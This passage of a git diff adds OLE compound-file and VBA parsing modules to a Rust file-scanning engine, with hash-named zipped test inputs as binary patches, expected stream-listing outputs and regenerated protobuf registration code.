slice = &data[offset..offset + 4]; + match le_u32::<&[u8], NomError<&[u8]>>(slice) { + Ok((_, val)) => Ok(val), + Err(_) => Err("Failed to parse u32"), + } +} diff --git a/lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip b/lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..2236f51f39bfdcd1705e11d9cd47f61a3199e85a GIT binary patch literal 12956 zcmdUWcUTkK+OLQRNS7{6bR#Ie2LeP;K}Em{2uKwoAWb@i1TcUoMNlbHB2ra)?=1qG z8jAE1AVNf1AV7$OVP>sav)=x$_5S9zA^i!SV@$vY{PNwy zV}JdVJv?^o%CWP@K#v_292M;C?LaDyN=_gJ2PH=(dsUFVnwpZ5ij%@)Wjl3{f|H7h zlfAuyij#wrx`Umaqq2&fc{`p(`oby-r zdFHPNFnM|ge72{MpMjVNH$bNdx*%qPF-ZEfMB$G>;Hcv^-D%`B-I-yM4k||SYV)_h z%v83!hKVlyh`(+=@@)6&hB!c*+=7v^5(1*{={2X2O+^;NgXOTAy6!{bz zz#Hq)RX+t;T8la){_5uuF^)$x-j=v$ffcSk)#>fGZ7^l`DXxC|_xB7nn6kzs9~e1o z-t*8vw%7?hdD@*8y6=KaMqGwHXg^F&tVu?pyXF16R~es(O?kEa+J-rb+2NKw8sYn7 ze+>I3qSeV9bnC0UQLwa^X>9Vr4o5u2dV3Y?>>mJwrA#CR7g(b#eQV;{w<&~*?;*Y^ zm)ISr(hPc&VfO4M5&_`+ABdKa{Vjhl#CZw20i<$E6H?u%iE8AK*~1@z!xlijwj`-z z)$mq%1ZuA6F8BO%!nszk-Os?4k^7M9Ai+$Py#Dkv?i(SwyV*JZ5mxdRIhERQMAOY` zIre)Plo81kVTw!3v}tKPt<&s*NY0Gt_zpjv{@lEvP^2r2G&^` zo9<`V+4Vu}pWFO|m42u0A3T_WEj&Y85cMlg%o+C_eG&4!N<)0!^a(ysXQBd&?K@K@!{8eleX=7nd9B<}zh zP|T8ab4*Y=Yi2|0NxK_BH*M}DpaG!upHILr)y^=_@2#|L3TYKFP1}ere=zLr`>#9y zn_<|c@lgUZ|6=fe)Bi6MT2uG}Q}rh}>^RiNr7L6eGb<406!XK0Vh2g#l4m6x4Ps^x z_wj^R#}B>{H^fBYT39ntLG*@qQ?S@1-z1z&(((K94xN}8a_#96+5eKdzf7P4eN$F6 zKguxbF^bu6FSYcqKREy&GntPhw31r-k0o;^V2&}=lCp*7XN14|uZR)IT<*%$a>m!V{X?D-PU=%Zz#a3M3#Pq@{ zzLyYvUzyi zbT0IsNoy>gJl~gl*~YQe&yw}jvqg^^lLM|6cs*A%GGG;g&)K2PEPLXneQzCVIzf`w zxtQ-^vK~f*ww5&C2L}W=q3|anqjK<3fC&B_6aU(Bq_81==4G`Un7iz!o48Hai2CM3 z#G62HkOX3gI1od)On0o9rGw;v_yGmt2R9Hu5=uWpEppCYvj?tm0N1ovsi#F=mgE(X z%~D=fn3a@Dt8EH<1^m>|&UDVplWDnYrAP=>@1sDC(-GibjZad@7(`pNXC}g`b7y+! z9yhuVL1o!MuJ)$&zfpn2H{TL;q7v0#bVW$Wx4`xv#

<>1D7Os%hsFNv8w*3W*oq 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 JO!U~X{{^W*G^PLm literal 0 HcmV?d00001 diff --git a/lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out b/lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out new file mode 100644 index 00000000..644d7599 --- /dev/null +++ b/lib/src/modules/olecf/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out @@ -0,0 +1,20 @@ +is_olecf: true +streams: + - name: "Root Entry" + type: ROOT + size: 128 + - name: "1Table" + type: STREAM + size: 7273 + - name: "WordDocument" + type: STREAM + size: 4096 + - name: "SummaryInformation" + type: STREAM + size: 4096 + - name: "DocumentSummaryInformation" + type: STREAM + size: 4096 + - name: "CompObj" + type: STREAM + size: 114 \ No newline at end of file diff --git a/lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.in.zip b/lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..2e6f897dee44f3ac22bd78749fd0b3c6c2b13947 GIT binary patch literal 688 zcmWIWW@Zs#-~htvuBnj>P_TiMfx($Ufgw5B*wn<-*f`ZV(ZbNuz|z9h+`=T)#M~^! zEY;8~IoZG@&BQp()Y#J4G||GsG}+QJ*~rk)#3I?!+%(bLz*H|YFEoUgft|}fJspHY zex;_DR&X;gvVbfC6TMf@<{efLV0lozWY1|m34^_fb@%>H~!onO9KRo+{eVbAF!~@m^N(D^!IAwqiXD(1Q*cbLrVFUX*ma+rA2e|HV>Ktf3 zaQMTii|%)H7sYYjX^?Hy-k|=0agX2*hTzJ$in_SJyKPqMmFUVouKUdv;LXmVCclNV vf{}p%6x{*dj7%cTh@^ll2TBSsu&oiqqC>(6@MdKLS;Yv16M-}*6Nm=@KZN&< literal 0 HcmV?d00001 diff --git a/lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.out b/lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.out new file mode 100644 index 00000000..531595cc --- /dev/null +++ b/lib/src/modules/olecf/tests/testdata/cc354533e3a8190985784e476d6e16cc04f43f53935a885c99c21148c975a705.out @@ -0,0 +1 @@ +is_olecf: true \ No newline at end of file diff --git a/lib/src/modules/protos/generated/mod.rs b/lib/src/modules/protos/generated/mod.rs index 8cee504b..396b58d5 100644 --- a/lib/src/modules/protos/generated/mod.rs +++ b/lib/src/modules/protos/generated/mod.rs @@ -17,6 +17,7 @@ pub mod magic; pub mod math; pub mod mods; pub mod net_analysis; +pub mod olecf; pub mod pe; pub mod sandbox; pub mod sigma; @@ -26,6 +27,7 @@ pub mod test_proto2; pub mod test_proto3; pub mod time; pub mod titan; +pub mod vba; pub mod vtnet; pub mod yara; pub mod zip; diff --git a/lib/src/modules/protos/generated/mods.rs b/lib/src/modules/protos/generated/mods.rs index a355e446..4caddb5d 100644 --- a/lib/src/modules/protos/generated/mods.rs +++ b/lib/src/modules/protos/generated/mods.rs @@ -38,6 +38,10 @@ pub struct Modules { pub macho: ::protobuf::MessageField, // @@protoc_insertion_point(field:mods.Modules.lnk) pub lnk: ::protobuf::MessageField, + // @@protoc_insertion_point(field:mods.Modules.olecf) + pub olecf: ::protobuf::MessageField, + // @@protoc_insertion_point(field:mods.Modules.vba) + pub vba: ::protobuf::MessageField, // @@protoc_insertion_point(field:mods.Modules.crx) pub crx: ::protobuf::MessageField, // @@protoc_insertion_point(field:mods.Modules.dex) @@ -59,7 +63,7 @@ impl Modules { } fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { - let mut fields = ::std::vec::Vec::with_capacity(7); + let mut fields = ::std::vec::Vec::with_capacity(9); let mut oneofs = ::std::vec::Vec::with_capacity(0); fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::pe::PE>( "pe", @@ -86,6 +90,16 @@ impl Modules { |m: &Modules| { &m.lnk }, |m: &mut Modules| { &mut m.lnk }, )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::olecf::Olecf>( + "olecf", + |m: &Modules| { &m.olecf }, + |m: &mut Modules| { &mut m.olecf }, + )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::vba::Vba>( + "vba", + |m: &Modules| { &m.vba }, + |m: &mut Modules| { &mut m.vba }, + )); fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, super::crx::Crx>( "crx", |m: &Modules| { &m.crx }, @@ -133,6 +147,16 @@ impl ::protobuf::Message for Modules { return false; } }; + for v in &self.olecf { + if !v.is_initialized() { + return false; + } + }; + for v in &self.vba { + if !v.is_initialized() { + return false; + } + }; for v in &self.crx { if !v.is_initialized() { return false; @@ -165,9 +189,15 @@ impl ::protobuf::Message for Modules { ::protobuf::rt::read_singular_message_into_field(is, &mut self.lnk)?; }, 50 => { - ::protobuf::rt::read_singular_message_into_field(is, &mut self.crx)?; + ::protobuf::rt::read_singular_message_into_field(is, &mut self.olecf)?; }, 58 => { + ::protobuf::rt::read_singular_message_into_field(is, &mut self.vba)?; + }, + 66 => { + ::protobuf::rt::read_singular_message_into_field(is, &mut self.crx)?; + }, + 74 => { ::protobuf::rt::read_singular_message_into_field(is, &mut self.dex)?; }, tag => { @@ -202,6 +232,14 @@ impl ::protobuf::Message for Modules { let len = v.compute_size(); my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; } + if let Some(v) = self.olecf.as_ref() { + let len = v.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + } + if let Some(v) = self.vba.as_ref() { + let len = v.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + } if let Some(v) = self.crx.as_ref() { let len = v.compute_size(); my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; @@ -231,12 +269,18 @@ impl ::protobuf::Message for Modules { if let Some(v) = self.lnk.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(5, v, os)?; } - if let Some(v) = self.crx.as_ref() { + if let Some(v) = self.olecf.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(6, v, os)?; } - if let Some(v) = self.dex.as_ref() { + if let Some(v) = self.vba.as_ref() { ::protobuf::rt::write_message_field_with_cached_size(7, v, os)?; } + if let Some(v) = self.crx.as_ref() { + ::protobuf::rt::write_message_field_with_cached_size(8, v, os)?; + } + if let Some(v) = self.dex.as_ref() { + ::protobuf::rt::write_message_field_with_cached_size(9, v, os)?; + } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) } @@ -259,6 +303,8 @@ impl ::protobuf::Message for Modules { self.dotnet.clear(); self.macho.clear(); self.lnk.clear(); + self.olecf.clear(); + self.vba.clear(); self.crx.clear(); self.dex.clear(); self.special_fields.clear(); @@ -271,6 +317,8 @@ impl ::protobuf::Message for Modules { dotnet: ::protobuf::MessageField::none(), macho: ::protobuf::MessageField::none(), lnk: ::protobuf::MessageField::none(), + olecf: ::protobuf::MessageField::none(), + vba: ::protobuf::MessageField::none(), crx: ::protobuf::MessageField::none(), dex: ::protobuf::MessageField::none(), special_fields: ::protobuf::SpecialFields::new(), @@ -299,13 +347,15 @@ impl ::protobuf::reflect::ProtobufValue for Modules { static file_descriptor_proto_data: &'static [u8] = b"\ \n\nmods.proto\x12\x04mods\x1a\nyara.proto\x1a\tcrx.proto\x1a\tdex.proto\ \x1a\x0cdotnet.proto\x1a\telf.proto\x1a\x08pe.proto\x1a\tlnk.proto\x1a\ - \x0bmacho.proto\"\xdd\x01\n\x07Modules\x12\x16\n\x02pe\x18\x01\x20\x01(\ - \x0b2\x06.pe.PER\x02pe\x12\x1a\n\x03elf\x18\x02\x20\x01(\x0b2\x08.elf.EL\ - FR\x03elf\x12&\n\x06dotnet\x18\x03\x20\x01(\x0b2\x0e.dotnet.DotnetR\x06d\ - otnet\x12\"\n\x05macho\x18\x04\x20\x01(\x0b2\x0c.macho.MachoR\x05macho\ - \x12\x1a\n\x03lnk\x18\x05\x20\x01(\x0b2\x08.lnk.LnkR\x03lnk\x12\x1a\n\ - \x03crx\x18\x06\x20\x01(\x0b2\x08.crx.CrxR\x03crx\x12\x1a\n\x03dex\x18\ - \x07\x20\x01(\x0b2\x08.dex.DexR\x03dexb\x06proto2\ + \x0bmacho.proto\x1a\x0bolecf.proto\x1a\tvba.proto\"\x9d\x02\n\x07Modules\ + \x12\x16\n\x02pe\x18\x01\x20\x01(\x0b2\x06.pe.PER\x02pe\x12\x1a\n\x03elf\ + \x18\x02\x20\x01(\x0b2\x08.elf.ELFR\x03elf\x12&\n\x06dotnet\x18\x03\x20\ + \x01(\x0b2\x0e.dotnet.DotnetR\x06dotnet\x12\"\n\x05macho\x18\x04\x20\x01\ + (\x0b2\x0c.macho.MachoR\x05macho\x12\x1a\n\x03lnk\x18\x05\x20\x01(\x0b2\ + \x08.lnk.LnkR\x03lnk\x12\"\n\x05olecf\x18\x06\x20\x01(\x0b2\x0c.olecf.Ol\ + ecfR\x05olecf\x12\x1a\n\x03vba\x18\x07\x20\x01(\x0b2\x08.vba.VbaR\x03vba\ + \x12\x1a\n\x03crx\x18\x08\x20\x01(\x0b2\x08.crx.CrxR\x03crx\x12\x1a\n\ + \x03dex\x18\t\x20\x01(\x0b2\x08.dex.DexR\x03dexb\x06proto2\ "; /// `FileDescriptorProto` object which was a source for this generated file @@ -322,7 +372,7 @@ pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); file_descriptor.get(|| { let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { - let mut deps = ::std::vec::Vec::with_capacity(8); + let mut deps = ::std::vec::Vec::with_capacity(10); deps.push(super::yara::file_descriptor().clone()); deps.push(super::crx::file_descriptor().clone()); deps.push(super::dex::file_descriptor().clone()); @@ -331,6 +381,8 @@ pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { deps.push(super::pe::file_descriptor().clone()); deps.push(super::lnk::file_descriptor().clone()); deps.push(super::macho::file_descriptor().clone()); + deps.push(super::olecf::file_descriptor().clone()); + deps.push(super::vba::file_descriptor().clone()); let mut messages = ::std::vec::Vec::with_capacity(1); messages.push(Modules::generated_message_descriptor_data()); let mut enums = ::std::vec::Vec::with_capacity(0); diff --git a/lib/src/modules/protos/generated/olecf.rs b/lib/src/modules/protos/generated/olecf.rs new file mode 100644 index 00000000..074fed48 --- /dev/null +++ b/lib/src/modules/protos/generated/olecf.rs @@ -0,0 +1,557 @@ +// This file is generated by rust-protobuf 3.7.2. Do not edit +// .proto file is parsed by pure +// @generated + +// https://github.com/rust-lang/rust-clippy/issues/702 +#![allow(unknown_lints)] +#![allow(clippy::all)] + +#![allow(unused_attributes)] 